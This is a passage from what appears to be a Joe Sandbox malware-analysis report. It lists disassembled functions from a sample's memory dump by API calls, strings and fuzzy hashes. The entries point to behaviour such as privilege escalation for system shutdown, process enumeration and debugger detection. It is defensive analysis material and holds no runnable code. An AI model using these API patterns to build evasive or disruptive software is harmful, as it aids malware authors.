                                                                                                                                                                            • Instruction Fuzzy Hash: 25B1B522A1CFC545D6B78B3454513B6B299EFEA3D0F10D332E95E75AA8DF2895828700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _get_daylight$_invalid_parameter_noinfo
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1286766494-0
                                                                                                                                                                            • Opcode ID: ff66785d1f33ad73d5007bcee94c477568ce16377581ab8ae86a17e1b75de420
                                                                                                                                                                            • Instruction ID: 5f46b78fe14c54669311b3419a047b795b79acbca311d5e9e7204d73da0efcd9
                                                                                                                                                                            • Opcode Fuzzy Hash: ff66785d1f33ad73d5007bcee94c477568ce16377581ab8ae86a17e1b75de420
                                                                                                                                                                            • Instruction Fuzzy Hash: B4A27C32A08A428AEB358F29D5901B937A5FB46BC8F148175DB8D87F9CDF3DE9118704
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CloseControlCreateDeviceFileHandle
                                                                                                                                                                            • String ID: 0
                                                                                                                                                                            • API String ID: 33631002-4108050209
                                                                                                                                                                            • Opcode ID: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
                                                                                                                                                                            • Instruction ID: 21380eac8082a1721aeb290b6f4142e71ab245c69b2f0801c1178ba912052855
                                                                                                                                                                            • Opcode Fuzzy Hash: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
                                                                                                                                                                            • Instruction Fuzzy Hash: ED216D36618B80C6E3308F21E48469A77A4F789B94F14426AEB9D43B98DF3CDA55CB00
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: System$AdjustErrorExitInitiateLastLookupPowerPrivilegePrivilegesShutdownStateTokenValueWindows
                                                                                                                                                                            • String ID: SeShutdownPrivilege
                                                                                                                                                                            • API String ID: 2163645468-3733053543
                                                                                                                                                                            • Opcode ID: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
                                                                                                                                                                            • Instruction ID: 76d2ba125d2d26d2a827f1fb8d266ff60bd21edc49fdd39b0e4003edfc85b8e0
                                                                                                                                                                            • Opcode Fuzzy Hash: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
                                                                                                                                                                            • Instruction Fuzzy Hash: 59119132B1860282EB34DF26E8915AE6361FF85790F4941B5E94DC3AADEF3CE805C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF697B65C43
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: DebugDebuggerErrorLastOutputPresentString
                                                                                                                                                                            • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                                                                                                                                                            • API String ID: 389471666-631824599
                                                                                                                                                                            • Opcode ID: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
                                                                                                                                                                            • Instruction ID: d1c8f7fef8a12e581210949796121b3045ca3c4cbaa5b738a385c919e601932a
                                                                                                                                                                            • Opcode Fuzzy Hash: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
                                                                                                                                                                            • Instruction Fuzzy Hash: 41116632A14B42A6EB24AF22E6543B933A4FF45795F404175C74DC2A98EF3CE1B4DB10
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressLibraryLoadProc
                                                                                                                                                                            • String ID: GetModuleHandleExW$kernel32.dll
                                                                                                                                                                            • API String ID: 2574300362-199464113
                                                                                                                                                                            • Opcode ID: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
                                                                                                                                                                            • Instruction ID: 30dac9d9c8b7e72acbca32cda517c565488162396cf2991d67b1795679ae198b
                                                                                                                                                                            • Opcode Fuzzy Hash: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
                                                                                                                                                                            • Instruction Fuzzy Hash: 6FE0ED76915B06C1EF24EF54E81436823E0FF49B88F8404B5D91D86358EF7CD6A8C300
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Variant$ClearInit$CopyCreateInitializeInstanceUninitialize
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2733932498-0
                                                                                                                                                                            • Opcode ID: a09277b6a6935f26de9d5b61002aef5de2559b3d5eb22cd3cc7460a06f749bcb
                                                                                                                                                                            • Instruction ID: 1d75d8de3f85c6f5c7eac6e764510fcbd1df2aad8e9d132dc6a6ada214005d79
                                                                                                                                                                            • Opcode Fuzzy Hash: a09277b6a6935f26de9d5b61002aef5de2559b3d5eb22cd3cc7460a06f749bcb
                                                                                                                                                                            • Instruction Fuzzy Hash: B9B18B76B04B5681EB20DF66D4946BD2760FB8AFD8F0950B6DE4E8779ACE38E440D304
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1083639309-0
                                                                                                                                                                            • Opcode ID: 02ce357f99ea2512f20365e7a5c976855fb5bc5f8675b646551cc21f1f11311e
                                                                                                                                                                            • Instruction ID: 51ef3035d2063521aa7a7b6df9a5c575e4579b599ea5a065e99ce5fcf169b8db
                                                                                                                                                                            • Opcode Fuzzy Hash: 02ce357f99ea2512f20365e7a5c976855fb5bc5f8675b646551cc21f1f11311e
                                                                                                                                                                            • Instruction Fuzzy Hash: 09419536A18A8291E720EF61E4945BE7360FB85BC4F544072EE8E83759EF7CE505C700
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: DEFINE$x
                                                                                                                                                                            • API String ID: 0-4035502692
                                                                                                                                                                            • Opcode ID: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
                                                                                                                                                                            • Instruction ID: 3a6fa62b07af266982bd9e878bf58f57690dbe713f41db493a57afd4ca82c988
                                                                                                                                                                            • Opcode Fuzzy Hash: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
                                                                                                                                                                            • Instruction Fuzzy Hash: 98538C72B086528AE778DF29C4406BC37E1FB45BA8F518176DE4997B88EF39E941C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Init_thread_footer
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1385522511-0
                                                                                                                                                                            • Opcode ID: da6e29006f01bd698c6eac7bc6c5edd526e300c14b6c3d3e53a12b26179e677e
                                                                                                                                                                            • Instruction ID: 2041dc91746b9013173fac211a5a608889671482a803eba902b15d8f4be845b3
                                                                                                                                                                            • Opcode Fuzzy Hash: da6e29006f01bd698c6eac7bc6c5edd526e300c14b6c3d3e53a12b26179e677e
                                                                                                                                                                            • Instruction Fuzzy Hash: 47825932A0CA5286EB748F15E4846B973A4FB56BD8F5440B6DA4EC77A8DF3DE841C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: memcpy_s
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1502251526-0
                                                                                                                                                                            • Opcode ID: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
                                                                                                                                                                            • Instruction ID: ceef853a38cbad3582bcfa01100b97411c86337004b139a48765de6b5ccc0656
                                                                                                                                                                            • Opcode Fuzzy Hash: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
                                                                                                                                                                            • Instruction Fuzzy Hash: F2D19132B1968A87DB34CF15E1846AAB7A1FBC9784F148134DB4E97B48DE3CE945CB10
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Find$File$CloseFirstNext
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3541575487-0
                                                                                                                                                                            • Opcode ID: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
                                                                                                                                                                            • Instruction ID: 73e04e91e6fb8ca15632dcb4a2b4c897323a17886d58502a4256ba57339014cb
                                                                                                                                                                            • Opcode Fuzzy Hash: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
                                                                                                                                                                            • Instruction Fuzzy Hash: 1C514A32608A46C6DB24DF29E4902AC7760FB89BD8F548272CB5E877A9CF7CE551C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ErrorMode$DiskFreeSpace
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1682464887-0
                                                                                                                                                                            • Opcode ID: 9da028b5588618e8017c2d6f59159552d0d086b50025af474123ec90f68560d5
                                                                                                                                                                            • Instruction ID: 9f15cae7dca36ea6e89fb1709588f93454dc505bdbf308b4532e93b2e71f7452
                                                                                                                                                                            • Opcode Fuzzy Hash: 9da028b5588618e8017c2d6f59159552d0d086b50025af474123ec90f68560d5
                                                                                                                                                                            • Instruction Fuzzy Hash: 5F315036608B8586EB209F29E4802AE7760FF89BD4F158171EB8E83769DF7CD546C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AdjustConcurrency::cancel_current_taskErrorLastLookupPrivilegePrivilegesTokenValue
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2278415577-0
                                                                                                                                                                            • Opcode ID: 8475faea5d733a641d8ed04cc9d05f049bff3c861d0b4ae6caf63cee6e71bede
                                                                                                                                                                            • Instruction ID: 84455e92d2cb4903a598ca47a70fb6b1fd294ca0413c3c9a0cac981e5b97d2b8
                                                                                                                                                                            • Opcode Fuzzy Hash: 8475faea5d733a641d8ed04cc9d05f049bff3c861d0b4ae6caf63cee6e71bede
                                                                                                                                                                            • Instruction Fuzzy Hash: 72217C72A08A8186D724EF2AE44426AB7A0FB89BE4F448535DF4D8771CCF78D656C704
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AllocateCheckFreeInitializeMembershipToken
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3429775523-0
                                                                                                                                                                            • Opcode ID: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
                                                                                                                                                                            • Instruction ID: fc26d178e53cabe9046c9b3dcb6fc8085cb5ab72c28258933f382703175b3626
                                                                                                                                                                            • Opcode Fuzzy Hash: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
                                                                                                                                                                            • Instruction Fuzzy Hash: 280140736247818FE7208F30D4553A937A0FB547AEF410929E64986A98DF7DC158CF80
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: .
                                                                                                                                                                            • API String ID: 0-248832578
                                                                                                                                                                            • Opcode ID: e1d1fb4f290d3f8f73012e05781d19b6c344ca2143228aded1dc3f30a5d54e4e
                                                                                                                                                                            • Instruction ID: 52d9eca4e6b4ee2c74f4e4138f7fe0d6703fa5a8ff8cac12645d471be43a160c
                                                                                                                                                                            • Opcode Fuzzy Hash: e1d1fb4f290d3f8f73012e05781d19b6c344ca2143228aded1dc3f30a5d54e4e
                                                                                                                                                                            • Instruction Fuzzy Hash: 59314632B1869244EB70AF7298046FEA691FB52BE4F448635EE6D87BCCDE3CD5018300
                                                                                                                                                                            APIs
                                                                                                                                                                            • GetSystemTimeAsFileTime.KERNEL32(?,?,?,00007FF697B7475C,?,?,00000000,00007FF697B747D9,?,?,?,?,?,00007FF697BC2210), ref: 00007FF697B7BF3F
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Time$FileSystem
                                                                                                                                                                            • String ID: GetSystemTimePreciseAsFileTime
                                                                                                                                                                            • API String ID: 2086374402-595813830
                                                                                                                                                                            • Opcode ID: 572b71549e45f6bab70ab7a1e99299a405b58e83dcd9cf08a8343814aa6f0cc3
                                                                                                                                                                            • Instruction ID: 93c50b7e46200b3c3376ba53a8e90e329534c72a8547856e4652d20326d366bb
                                                                                                                                                                            • Opcode Fuzzy Hash: 572b71549e45f6bab70ab7a1e99299a405b58e83dcd9cf08a8343814aa6f0cc3
                                                                                                                                                                            • Instruction Fuzzy Hash: 1AF06D34A19A4791EE25BF61F8550B56321EF4AFC0F8850B1DD0E8B759EE3CE548DB00
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
